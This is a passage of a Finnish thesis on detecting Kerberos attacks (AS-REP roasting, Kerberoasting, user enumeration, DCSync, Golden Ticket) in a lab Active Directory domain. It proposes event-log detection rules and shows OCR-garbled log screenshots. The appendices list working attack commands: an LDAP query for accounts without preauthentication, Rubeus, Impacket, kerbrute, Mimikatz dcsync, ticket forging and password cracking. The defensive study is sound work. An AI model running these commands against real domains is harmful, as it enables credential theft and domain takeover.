hekoodeilla. Voidaan esimerkiksi luoda halytys myos silloin, jos esimerkiksi kol-
melle olemattomalle kayttajalle pyydetaan TGT:ta lyhyen ajan sisaan. Tama ha-

vaitsee herkemmin hyokkaajan, joka kayttaa arvattua kayttajatunnuslistausta.

5.1.2 Joiltakin kayttajatunnuksilta ei vaadita esiautentikointia

Jos ymparistdssa on muutamia kayttgjia, joilta ei vaadita esiautentikointia, valvo-
minen muuttuu hankalammaksi. Tassakin tilanteessa kannattaa valvoa epaon-
nistuneita TGT-pyyntdja, mutta hydkkaaja tarvitsee vain yhden onnistumisen,
jonka jalkeen epaonnistuneita pyyntdja ei pakosti tule. Hydkkaajalla on erittain
pieni mahdollisuus osua oikeaan kayttajatunnukseen arvaamalla, mutta tassa tu-
lee ottaa huomioon muut mahdolliset tilanteet. Hyokkaajalla saattaa esimerkiksi
olla paasy toimialueella olevalle tietokoneelle. Talldin hyokkaaja voi suorittaa
LDAP-kyselyn kayttdjista, jotka eivat vaadi esiautentikointia. Hyokkaaja pyytaa
taman jalkeen TGT:n vain LDAP-kyselysta saaduille tunnuksille, kiertaen ensim-
maisen vain epaonnistumisiin perustuvan saannén. Taman huomaamiseksi voi-
daan siis harkita LDAP-kyselyjen lokittamista ja valvomista, mutta kaikkien kyse-
lyjen lokitus ei ole monissa ymparistoissa realistista suuren kyselymaaran vuoksi.
Talldin parhaimmaksi vaihtoehdoksi jaa istuntoavaimen salauksen valvominen.
Jos istuntoavain on salattu RC4:11a, mutta normaalisti kayttgjan TGT pyydetaan
AES:IIa salattuna, tama on epailyttavaa ja pitaa tutkia tarkemmin. RC4-salauksen

pyytaminen on hyodkkaajiltd yleinen tapa, koska RC4-salaus on paljon nopeampi
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murtaa, kuin AES-salaus. Tapahtumaa voidaan myos valvoa IP-osoitteen ja kel-
lonajan mukaan, mutta nama ovat ymparistokohtaisia, ja saattavat aiheuttaa jon-

kin verran vaaria halytyksia, jos havaitsemislogiikkaa ei tehda kunnolla.

Tiivistettyna, melkein kaikkiin ymparistoihin sopivin ratkaisu on valvoa epaonnis-
tuneita EID (Event ID) 4768 -tapahtumia, jotka tulevat samalta laitteelta uniikeille
kayttajatunnuksille lyhyen ajan sisdan. RC4-salauksen kayttda EID 4768 -tapah-
tumissa kannattaa myos valvoa, jos esiautentikointia ei vaadita kaikilta kayttajilta.
Tama jalkimmainen ratkaisu on tosin sopimaton ymparistoissa, joissa on vanhoja
laitteita, jotka eivat tue AES-salausta. Talldin voidaan vaihtoehtoisesti harkita
LDAP-kyselyjen lokittamista ja naiden valvomista esiautentikoimattomien kaytta-
jien listausta pyytavien kyselyiden varalta. Jos tamakaan ei ole mahdollista, voi-
daan tukeutua IP-osoitteen valvontaan viimeisena mahdollisuutena. Talloin tulee
olla maariteltynd normaali arvot IP-osoitteille, joista poikkeaminen nostaa haly-

tyksen.

5.2 Kerberoasting

Kerberoasting-hyokkayksen havaitseminen perustuu pitkalti onnistuneiden TGS-
pyyntojen valvomiseen. Epailyttavana voidaan pitaa, jos tunnus pyytaa monien
palveluiden ST:ta erittdin lyhyen ajan sisdan. Tama normaalin raja on ymparis-
tosta riippuvaa, joten mitdan tarkkaa turvallista arvoa tahan ei voida maarittaa,
vaan se tulisi selvittda tarkastelemalla esimerkiksi yhden tai kahden minuutin si-
salla tapahtuvia EID 4769 -tapahtumia. Kuviossa 27 kaikki tapahtumat ovat pe-
raisin yhdelta laitteelta, ja kyseisessa ymparistossa palveluita pyydetaan normaa-
listi maksimissaan 3 kappaletta minuutissa. Tama on testiymparisto, joten oike-
assa ymparistdssa tama arvo on todennakdisesti korkeampi. Tassa tilanteessa

tosin halytys olisi aiheellisesti syntynyt.
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Security MNumber of events: 04 293

“F  Filtered: Log: Security; Source: ; Event 1D: 4769, Number of events: 1,4%%
Keywords Date and Time Event D
“'—'k Audit Success 3/26/2025 12:42:02 PM 4769
;""\L Audit Success 3/26/2025 12:42:02 PM 4769
“'—\';u Audit Success 3/26/2025 12:42:02 PM 4769
“'—'k Audit Success 3/26/2025 12:42:02 PM 4769
;""L Audit Success 3/26/2025 12:42:02 PM 4769

KUVIO 27. Kerberoast-hyokkayksesta syntyvaa lokia.

Toinen havaitsemistapa on tarkkailla kaytettyja salausmenetelmia ST:n ja istun-
toavaimen osalta. Jos kummassa tahansa kaytetty salaus on RC4, ja ymparis-
téssa on normaalisti kaytossa AES-salaus, tama on epailyttavaa. Joissain van-
hoissa ymparistdissa palvelutunnuksilla ei ole AES-avaimia, joka johtuu siita, etta
tunnuksen salasanaa ei ole vaihdettu AES:n kayttéonoton jalkeen, tai toimialueen
DC:n versio on niin vanha, ettei se tue AES:sia. Talldin ST:t salataan lahtékoh-

taisesti RC4:113, ja tata havaitsemistapaa ei voida kayttaa.

Kolmantena vaihtoehtona on jalleen LDAP-kyselyjen lokitus ja valvonta, mutta
tama ei ole aina realistista suurien kyselymaarien vuoksi. Jos nain voitaisiin
tehda, yleinen Rubeuksen tekema asia on kaikkien tunnusten listaaminen, joilla
on servicePrincipalName-attribuutissa jokin arvo, ja tilin nimi ei paaty $-merkkiin.
Talloin voitaisiin luoda saantd kyseiselle LDAP-kyselylle. Tahan ei kannata tu-

keutua, silla hydkkaaja voi myds hakea palvelutunnuksia tarkemmilla ehdoilla.

Neljas vaihtoehto on luoda niin kutsuttu "honey token”. Tassa tilanteessa honey
token on palvelutunnus, jota ei kayteta mihinkaan. Tunnukselle on asetettu ser-
vicePrincipalName, ja sen kayttama salaus voi olla esimerkiksi RC4, josta hyok-
kaajat pitavat. Valvontajarjestelmaan luodaan saanto, joka valvoo TGS-pyyntoja,
joissa pyydetty palvelu on tama honey token -palvelu. Kun hyokkaaja pyytaa ST:t
yksi kerrallaan kaikille palveluille, jarjestelma nostaa halytyksen. Honey token -
palvelu kannattaa myds nimeta realistisesti. Esimerkiksi jos oikean SQL-palvelun
palvelutilion "svc_sql01”, honey token voisi olla "svc_sql02”. Varovainenkin hyok-
kaaja saattaa talloin pyytda honey token -palvelun ST:ta, kun se ei eroa oikeista

palveluista ulkoisesti mitenkaan.
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5.3 Kerberoasting ilman toimialuetunnusta

Kerberoasting ilman toimialuetunnusta eroaa huomattavasti aiemmista hyok-
kayksista, silla hyokkayksessa kaytetaan Kerberosta tavalla, jolla sita ei kuuluisi
kayttaa. Kappaleessa 4.3 mainitaan, ettda Impacketin parametri "no-preauth” 1a-
hettaa pyynndon AS-REQ-pyynnon rakenteessa, eika tyypillisessd TGS-REQ-
pyynnossa. Tama ohittaa kaikki Kerberoasting-hyokkayksen havainnointisdan-
not, silla salattu ST pyydetaankin nyt AS-REQ:lla, ja tasta syntyy EID 4768 -ta-
pahtuma, eika EID 4769 -tapahtumaa. Parametrin "no-preauth” nimi on hamaava,
silla tasta saa vaikutelman, ettd hyokkays toimii vain esiautentikointia vaatimat-
tomilla tunnuksilla. Tama ei kuitenkaan pida paikkaansa, vaan hyokkaaja voi
kayttaa myos esiautentikointia vaativaa tunnusta, jolloin pyynto luo jalleen vain
EID 4768 -tapahtuman.

Tata on onneksi helppo valvoa, ja se vaatii vain yhden yksinkertaisen saannon.
Jos EID 4768 -tapahtumassa pyydetty palvelu ei sisalla joko tekstia "krbtgt” tai
ole "kadmin/changepw”, niin tapahtuma on erittain suurella todennakdisyydella
viite hyokkaajasta. Kuviossa 28 on kuvattuna normaali tunnistautumisprosessiin
kuuluva EID 4768 -tapahtuma, kun taas kuviossa 29 nakyy hyokkaajan muok-
kaama EID 4768 -tapahtuma.

[ Event 4?58,]Micru:u soft Windows security auditing.

General  Details

A Eerberos authentication ticket (TGT) was requested.l

Account Information:

Account Mame: soap
Supplied Realm Mame: FLARE.CORP
User D FLARE\soap

MSD5-SupportedEncryptionTypes: 27 (DES, RC4, AES-5k)
Available Keys:  AES-5HA1, RC4

Service Information:
| Service Name: krbitat |
Service Dt FLARE krbtgt
M5D5-SupportedEncryptionTypes: Ok 1F (DES, RC4, AES128-5HADGE, AES256-SHADE)
Available Keys:  AES-5HA1, RC4

KUVIO 28. Normaali EID 4768 -tapahtuma.
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|| Event 4768 |Microsoft Windows security auditing.

General Details

A Kerberos authentication ticket (TGT) was requested.

Account Information:

Account Mame: raach
Supplied Realm Mame: FLARE.CORP
User ID: FLARE\roach

MS5D5-SupportedEncryptionTypes:  (x27 (DES, RC4, AES-5k)
Available Keys:  AES-5HAT, RC4

Service Information:
| Service Name: hu:ungI_s.enricel
Service ID: FLARE\honey_service
MS5D5-5upportedEncryptionTypes:  (x27 (DES, RC4, AES-5k)
Available Keys:  AES-5HAT, RC4

KUVIO 29. Hyokkaajan muokkaama EID 4768 -tapahtuma.

5.4 Kayttajatunnusten luetteloiminen Kerberoksella

Kayttajatunnusten luetteloinnista syntyy samankaltaisia tapahtumia, kuin AS-
REP Roast -hydkkayksesta, eli epaonnistuneita TGT-pyyntdja 0x6- ja 0x19 -vir-
hekoodeilla. Tahan voi siis kayttda samankaltaista saanndstéa, kuin AS-REP
Roast -hyokkayksen havainnointiin. Ainoana erona on se, etta jos hyokkaaja ha-
luaa kayttaa Kerberosta vain luettelointiin, se saattaa tahallisesti pyytaa TGT:t
AES-salauksella, jotta RC4:4an pohjaava saanndsto ei halyta. Tassa olisi siis fik-
sua tarkastella yleisesti samalta laitteelta tulevia TGT-pyyntéja monille uniikeille
kayttajatunnuksille. Tata saantda voi rajata 0x6-virhekoodin sisaltaviin tapahtu-
miin, mutta se ei kannata, ellei samassa valvo myds 0x7-virhekoodeja. Tama
siksi, ettd hyokkaaja voi luetteloida myds palvelutunnuksia TGT-pyynndilla, ja
tama tuottaa 0x7-virhekoodeja (kuvio 30). 0x6-virhekoodi tarkoittaa tuntematonta

kayttajaa, ja Ox7-virhekoodi tuntematonta palvelua.
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Event 4768, Microsoft Windows security auditing.

General  Details

A Kerberos authentication ticket (TGT) was requested.

Account Information:

Account Mame: soap
Supplied Realm Mame: FLARE.CORP
User ID: MULL 51D
MSD5-SupportedEncryptionTypes: -
Available Keys: -

Service Information:
Service Mame: sve_sqlol
Service ID: MULL SID
MSDS-SupportedEncryptionTypes: -
Available Keys: -

Domain Controller Information:
MS5D5-SupportedEncryptionTypes: -

Available Keys: -

Metwork Information:
Client Address: ffff:10.0.0.6
Client Port: 58616

Advertized Etypes: =

Additional Information:

Ticket Options: (x 50200000
Result Code:

KUVIO 30. TGT-pyynto, jossa pyydetaan tuntematonta palvelua.

5.5 Golden Ticket

Golden Ticket -hyokkays on monivaiheinen, ja havainnointi on huomattavasti hel-
pompaa hyokkayksen alkuvaiheessa, silla Golden Ticketin saamisen jalkeen
hyokkaajan liikenne on kaytannossa massasta erottumatonta, jos hyokkaaja on
varovainen. Tama tosin vaatii hyokkaajalta syvallisempaa tietoa Kerberoksesta

seka toimialueen asetuksista.

Ensimmainen havainnointimahdollisuus liittyen suoraan Golden Ticket -hyok-
kaysta edeltdvaan vaiheeseen on DCSync -hyokkayksen havainnointi. Hyok-
kaaja suorittaa esimerkiksi Mimikatz-ohjelmalla DCSync-hydkkayksen, joka kay-
tanndssa replikoi toisilta Domain Controllereilta tiedot hyokkaajalle. Tata kayttaen

hyokkaaja pyytaa krbtgt-tunnuksen tiedot, ja saa haltuunsa sen tiivisteet. Tama
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hyokkays on mahdollista havaita lokittamalla "Directory Service Access” -tapah-

tumia ja tarkastelemalla EID 4662 -tapahtumaa.

General  Details

Event 4662, Microsoft Windows security auditing.

Subject:
Security |D:
Account Name:
Account Domain:
Logon |D:

Ohbject:
Object Server:
Object Type:
Object Mame:
Handle IC:

Operation:
Operation Type:
Accesses:

Access Mask:
Properties:

An ocperation was performed on an object.

FLAREprice
price

FLARE
(305084

Ds

domainDM5
DC=flare,DC=corp
)]

Object Access
Control Access

Ox 100
Control Access

{1131f6ad-9c07-11d1-f75f-00c04fc2dcd2}
119195a5b-6dal-11d0-afd3-00c04fd930c9}

KUVIO 31. Lokitiedoissa nakyva DCSync-hyodkkays.

Kuviossa 31 nakyy DCSync-hydkkayksen tuottama lokitieto. Tata tapahtumaa

valvottaessa on muutama asia, joiden pitaa tayttya, jotta voidaan epailla DCSync-

hyokkaysta. Ensimmaiseksi, replikoinnin aloittavan objektin tulee olla jokin muu

kuin olemassa oleva DC tai Entra ID:n / AAD:n synkronointitili. Ylla olevassa ta-

pahtumassa tdma ehto tdsmaa, silla aloittaja on "FLARE\price”. Toinen ehto on,

ettd Properties-kentassa on yksi seuraavista tekstinpatkista, joista jokainen ku-

vastaa replikointioperaatiota (Microsoft 2020a):

- "Replicating Directory Changes All”
- “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” (Replicating Directory Changes

All)

- "89e95b76-444d-4c62-991a-0facbeda640c” (Replicating Directory

Changes In Filtered Set)
- “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” (Replicating Directory

Changes)
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AAD:n synkronointitilin nimi alkaa "MSOL _”, jos Entra Connectin kayttdonotossa
on kaytetty express-asetuksia (Microsoft 2024b). Nama tunnukset tulisi siis myos
jattéda saannon ulkopuolelle. Viimeiseksi voidaan rajata, ettd Access Mask -ken-

tan arvon tulee olla 0x100.

Jos DCSync-hyokkaysta ei jostakin syysta pystyta valvomaan, tai hyokkaaja saa
krbtgt-tunnuksen tiivisteen jollakin muulla tavoin, itse Golden Ticketin kayttda voi-
daan valvoa yhdella keinolla. Golden Ticket luodaan paikallisesti joko hydkkaajan
tietokoneella, tai hyokkaajan kaappaamalla tietokoneella. Tama tarkoittaa sita,
etta siitd ei synny tapahtumaa DC:lle, toisin kuin normaalisti TGT:ta pyydetta-
essa, joka tuottaa EID 4768 -tapahtuman. Tama tarkoittaa sita, ettda Golden
Ticketin luontia ei voida valvoa, mutta sen kayttda voidaan, jos hyokkaaja ei ole

erityisen varovainen.

Golden Ticketin kayton valvomiseksi voidaan luoda saanto, joka valvoo TGT- ja
TGS-pyyntdjen relaatiota toisiinsa. Teoriassa, jos joltakin laitteelta tulee TGS-
pyyntd ilman edeltavaa TGT-pyyntda, on kyseessa todennakodisesti hyokkaaja, ja
kyseessa on Golden Ticket -hyokkayksen hyddyntaminen. Jos toimialueella
TGT:n elinikd on oletusarvoinen 10 tuntia, voidaan luoda saanto, joka tarkistaa,
onko syntyneessa EID 4769 -tapahtumassa oleva laite missaan EID 4768 -ta-
pahtumassa viimeisen 10 tunnin ajalta. Laitteen voi ymparistosta riippuen yksi-

I6ida nimella tai IP:la.
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6 POHDINTA

Opinnaytetydssa tehdyn tutkimuksen perusteella on selvaa sanoa, etta Kerberos
on altis monille erilaisille hyokkayksille. Naista heikkouksista huolimatta, Kerbe-
ros on toimiva ja luotettava protokolla Active Directory -ymparistdissa, kunhan
sen kayttda valvotaan tarkasti tydssa mainittujen haavoittuvuuksien hyvaksikay-

ton varalta.

Tyon kasittelema teoreettinen tieto on laajalti peraisin Kerberos-protokollan ke-
hittajataholta, MIT:Ita, ja Active Directory -ymparistoihin soveltuvat osat Microsof-
tilta. Hyokkayksien toteuttamiseen 10ytyi dokumentaatiota lukuisista eri resurs-
seista, joiden tekijat ovat myos tehneet omaa tutkimustyotaan protokollan pa-
rissa. Testiymparisto oli opinnaytety6ta varten rakennettu, ja ymparistdossa paasi
kokeilemaan kaytanndssa erilaisia dokumentaatiossa kuvattuja konfiguraatioita
ja hyokkayksia. Talla tavoin saatiin todettua dokumentaation olevan viela paik-
kansapitavaa seka sovellettua opittua teoriaa erilaisilla ideoilla.

Opinnaytetyon lopputuloksena voidaan pitaa teorian ja kaytannon testauksien
kautta luotuja sdannostdja, ja yleisia ohjenuoria ympariston liikenteen valvomi-
seen. Tydn tuottama informaatio auttaa yllapitajia ennakoimaan mahdollisten uh-
katekijoiden varalta seka antaa nakokulmaa myos hyokkaajan toimiin. Tama puo-
lestaan mahdollistaa paremmin eri tapahtumien syy-seuraussuhteiden ymmarta-
misen. Tyon jatkokehittdminen on mahdollista harvemmin kaytettyjen Kerberos-
hyokkaysten tutkimisella ja saanndostéjen tarkemmalla viilaamisella yksittaiseen
ymparistoon sopivaksi. Jokainen ymparistd on uniikki, joten tydssa mainitut saan-
not eivat pakosti kay sellaisenaan jokaiseen ymparistoon, mutta ne antavat hyvan
lahtokohdan luotettavan havaitsemiskyvyn kehittamiseen. Opinnaytety6ssa on

paasty alussa asetettuihin tavoitteisiin kaikin puolin.



45

LAHTEET

Clark. 2022. New Attack Paths? AS Requested Service Tickets. Verkkosivu. Vii-
tattu 20.03.2025. https://www.semperis.com/blog/new-attack-paths-as-reques-
ted-sts/

Devore. 2024. Active Directory Hardening Series - Part 4 — Enforcing AES for
Kerberos. Verkkosivu. Viitattu 04.04.2025. https://techcommunity.micro-
soft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-se-
ries---part-4-%E2%80%93-enforcing-aes-for-kerberos/4114965

Dibley. 2024. Cracking Active Directory Passwords with AS-REP Roasting.
Verkkosivu. Viitattu 20.03.2025.
https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as _rep roas-
ting/

Hakatemia. 2022. Sanakirjahyokkaykset (Dictionary Attack). Verkkosivu. Viitattu
25.03.2025. https://www.hakatemia.fi/courses/salasanahyokkaykset/sanakirja-
hyokkaykset

IANA. 2024. Kerberos Parameters. Verkkosivu. Viitattu 26.03.2025.
https://www.iana.org/assignments/kerberos-parameters/kerberos-parame-
ters.xhtml

Metcalf. 2014. Machine Account (AD Computer Object) Password Updates. Verk-
kosivu. Viitattu 28.03.2025. https://adsecurity.org/?p=280

Microsoft. 2020a. Attributes (AD Schema). Verkkosivu. Viitattu 04.04.2025.
https://learn.microsoft.com/en-us/windows/win32/adschema/attributes

Microsoft. 2020b. Attribute sAMAccountType. Verkkosivu. Viitattu 03.04.2025.
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-
ada3/7879be50-7109-41e4-9a44-02f5a007b950

Microsoft. 2021a. 4768(S, F): A Kerberos authentication ticket (TGT) was re-
quested. Verkkosivu. Viitattu 24.03.2025. https://learn.microsoft.com/en-us/pre-
vious-versions/windows/it-pro/windows-10/security/threat-protection/audi-
ting/event-4768#table-3-tgttgs-issue-error-codes

Microsoft. 2021b. Key Distribution Center. Verkkosivu. Viitattu 19.3.2025.
https://learn.microsoft.com/en-us/windows/win32/secauthn/key-distribution-cen-
ter

Microsoft. 2024a. Active Directory Forest Recovery — Reset the krbtgt password.
Verkkosivu. Viitattu 28.03.2025. https://learn.microsoft.com/en-us/windows-ser-
ver/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-the-
krbtgt-password

Microsoft. 2024b. Microsoft Entra Connect: Accounts and permissions. Verkko-
sivu. Viitattu 06.04.2025. https://learn.microsoft.com/en-us/entra/identity/hyb-
rid/connect/reference-connect-accounts-permissions



46

Microsoft. 2025. Use the UserAccountControl flags to manipulate user account
properties. Verkkosivu. Viitattu 03.04.2025. https://learn.microsoft.com/en-
us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-
account-properties

MIT. 2015. Credential cache. Verkkosivu. Viitattu  28.03.2025.
https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html

Neuman, Yu, Hartman, Raeburn. 2005. RFC 4120. IETF. Verkkosivu. Viitattu
20.03.2025. https://datatracker.ietf.org/doc/html/rfc4120

Perez. 2021. Kerberoasting Attacks Explained. Verkkosivu. Viitattu 20.03.2025.
https://securitytrails.com/blog/kerberoasting-attacks-explained#content-what-
are-kerberoasting-attacks

Petri. n.d. How to Defend Against Golden Ticket Attacks: AD Security 101. Verk-
kosivu. Viitattu 24.03.2025. https://www.semperis.com/blog/how-to-defend-
against-golden-ticket-attacks/

Ozeren. 2024. What Is A Kerberoasting Attack. Verkkosivu. Viitattu 27.03.2025.
https://lwww.picussecurity.com/resource/blog/kerberoasting-attack-explained-
mitre-attack-t1558.003



LITTEET

Liite 1. LDAP-kysely, No_PreAuth_LDAP_Query
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1. $domain = "LDAP://flare.corp"
2. $searcher = New-Object DirectoryServices.DirectorySearcher([ADSI]$domain)
3. $searcher.Filter = "(&(objectclass=user)(objectcategory=user) (useraccountcon-
trol:1.2.840.113556.1.4.803:=4194304))"
4. $searcher.PropertiesTolLoad.Add("samaccountname”) > $null
. $results = $searcher.FindAll()

5
6
7. Write-Host ""nPre-authentication disabled for the following users: ' n
8

9. foreach ($result in $results)
10. {

11. Write-Host "$($result.Properties.samaccountname)" -Foregroundcolor green

12. }
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Liite 2. Hyokkayksissa kaytetyt komennot

AS-REP Roast

1. GetNPUsers.py flare.corp/ -usersfile users.txt -dc-ip 10.0.0.4
2. ./john -wordlist=../../password_list_long.txt roach.hash

Kerberoasting

1. Rubeus.exe kerberoast
2. ./john.exe -wordlist=password_list_long.txt spn.hashes

Kerberoasting ilman toimialuetunnusta

1. GetUserSPNs.py -no-pass -no-preauth roach -usersfile spns.txt flare.corp/roach
2. ./john -wordlist=../../password_list_long.txt spn.hashes

Kayttajatunnusten luetteloiminen Kerberoksella

‘1. ./kerbrute userenum -d flare.corp users.text -v

Golden Ticket

1. privilege::debug
2. lsadump::dcsync /user:FLARE\krbtgt

1. lookupsid.py flare.corp/soap@l0.0.0.4

2. ticketer.py -aesKey c3d6fbac77076a19cbf57733b1a8e5410f212231c8d09bdc60ab0852527c97d7 -
domain-sid S-1-5-21-1049901889-1557778446-1225216288 -domain flare.corp -groups 513,512 -
user-id 1601 soap

3. export KRB5CCNAME=/home/oppc@2admin/soap.ccache

4. psexec.py -k -no-pass -target-ip 10.0.0.4 -dc-ip 10.0.0.4 flare.corp/soap@OP-
DCO1.flare.corp
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